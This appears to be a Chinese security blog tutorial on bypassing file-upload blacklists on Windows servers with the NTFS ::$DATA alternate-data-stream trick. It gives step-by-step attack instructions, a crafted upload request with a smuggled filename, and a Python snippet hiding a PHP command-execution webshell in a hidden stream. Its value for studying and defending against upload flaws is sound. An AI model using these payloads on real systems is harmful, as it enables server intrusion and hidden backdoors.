在文件上传漏洞中,::$DATA 绕过是一种专门针对 Windows 操作系统(确切地说是 NTFS 文件系统) 环境下的黑名单检测绕过技术。

这种技术利用了 Windows 系统的底层文件命名特性,使得恶意文件能够逃避 Web 应用程序的安全校验,并最终以可执行的脚本格式保存在服务器上。

1. 核心原理:NTFS 交换数据流 (Alternate Data Streams, ADS)

在 Windows 的 NTFS 文件系统中,文件不仅仅包含我们平时看到的数据(即默认数据流),还可以包含“交换数据流”。

  • 任何一个文件在 NTFS 中都有一个默认的数据流,它的标识符就是 ::$DATA
  • 也就是说,在 Windows 系统的底层,test.phptest.php::$DATA 指向的是同一个文件的同一个数据流。
  • 当你尝试在 Windows 中创建或写入一个名为 test.php::$DATA 的文件时,Windows 会自动去掉后方的 ::$DATA,直接生成或写入 test.php

2. 绕过过程是如何发生的?

这类漏洞通常出现在使用黑名单过滤机制的 Web 应用程序中(例如,后端代码只拦截 .php.asp.jsp 等后缀)。

攻击步骤:

  1. 抓包修改: 攻击者首先上传一个名为 shell.php 的恶意脚本。
  2. 附加特征: 通过 Burp Suite 等代理工具拦截上传请求,将文件名修改为 shell.php::$DATA
  3. 绕过校验: 服务器端的黑名单检测代码提取文件后缀。它提取到的后缀可能是 .php::$DATA 或者直接是 ::$DATA。因为这个后缀不在黑名单(如 .php)中,程序认为文件合法,允许上传。
  4. 系统保存: 当后端代码(如 PHP 的 move_uploaded_file 函数)调用 Windows 底层 API 保存文件时,传入的文件名是 shell.php::$DATA
  5. 截断生效: Windows 系统接收到请求后,识别出 ::$DATA,将其作为数据流标识符处理,最终在磁盘上实际生成的文件名是 shell.php
  6. 成功利用: 攻击者直接访问 [http://target.com/uploads/shell.php](http://target.com/uploads/shell.php),成功执行 WebShell。

3. 典型的 HTTP 请求示例

攻击者在抓包后,修改 Content-Disposition 中的 filename 字段:

POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXyz123

------WebKitFormBoundaryXyz123
Content-Disposition: form-data; name="file"; filename="webshell.php::$DATA"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundaryXyz123--

4. 漏洞利用的先决条件

要成功利用此漏洞,必须同时满足以下几个条件:

  • 目标服务器操作系统必须是 Windows,且使用 NTFS 文件系统。(Linux 系统不吃这一套,如果你在 Linux 上传 shell.php::$DATA,它就会原封不动地生成一个名为 shell.php::$DATA 的文件,Web 服务器通常不会将其作为 PHP 解析)。
  • 基于黑名单的验证机制。如果是严格的白名单机制(只允许 .jpg.png),::$DATA 后缀会直接被白名单拒绝。
  • 后端代码没有对上传文件名进行重命名。如果服务器在保存文件时使用了随机生成的字符串(如 UUID.jpg)来重命名文件,这种绕过方法就会失效。
  • 代码中未对 ::$DATA 进行过滤

拓展

在 Windows 的图形界面(资源管理器)中,你确实无法直接创建一个文件名包含冒号 : 的文件。 Windows 会直接弹窗拦截。我们可以利用python写一个简单的脚本来创建:

file_path = "hacker_test.txt::$DATA"
content = "You have been hacked by Alternate Data Streams!"


with open(file_path, "w", encoding="utf-8") as f:
    f.write(content)

print("文件写入执行完毕")

当你运行这段代码后,Python 不会报错(它不像 Windows 资源管理器那样弹窗阻拦你)。

但是,当你打开对应的文件夹时,你会发现: **里面并没有一个叫 hacker_test.txt::$DATA 的文件。**相反,里面赫然躺着一个名为 hacker_test.txt 的文件!

你打开这个 hacker_test.txt,里面写着你刚才输入的文字:“You have been hacked by Alternate Data Streams!”。

再补充一个极其经典的黑客隐藏文件技巧。除了 ::$DATA 代表默认数据流,你还可以自己随便起名字来创建“隐藏的数据流”。

with open("normal.txt", "w") as f:
    f.write("I am a normal file.")

with open("normal.txt:hidden_shell.php", "w") as f:
    f.write("<?php system($_GET['cmd']); ?>")

print("隐藏流写入完毕!")
  • 你在文件夹里只能看到 normal.txt,大小只有几十个字节(“I am a normal file.” 的大小)。
  • 无论你怎么刷新,都看不见那个包含 PHP 代码的 hidden_shell.php
  • 但是这个木马代码确实已经依附在 normal.txt 身上存在于硬盘里了。这也是早期黑客在 Windows 服务器上隐藏后门(WebShell)的极佳手段。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐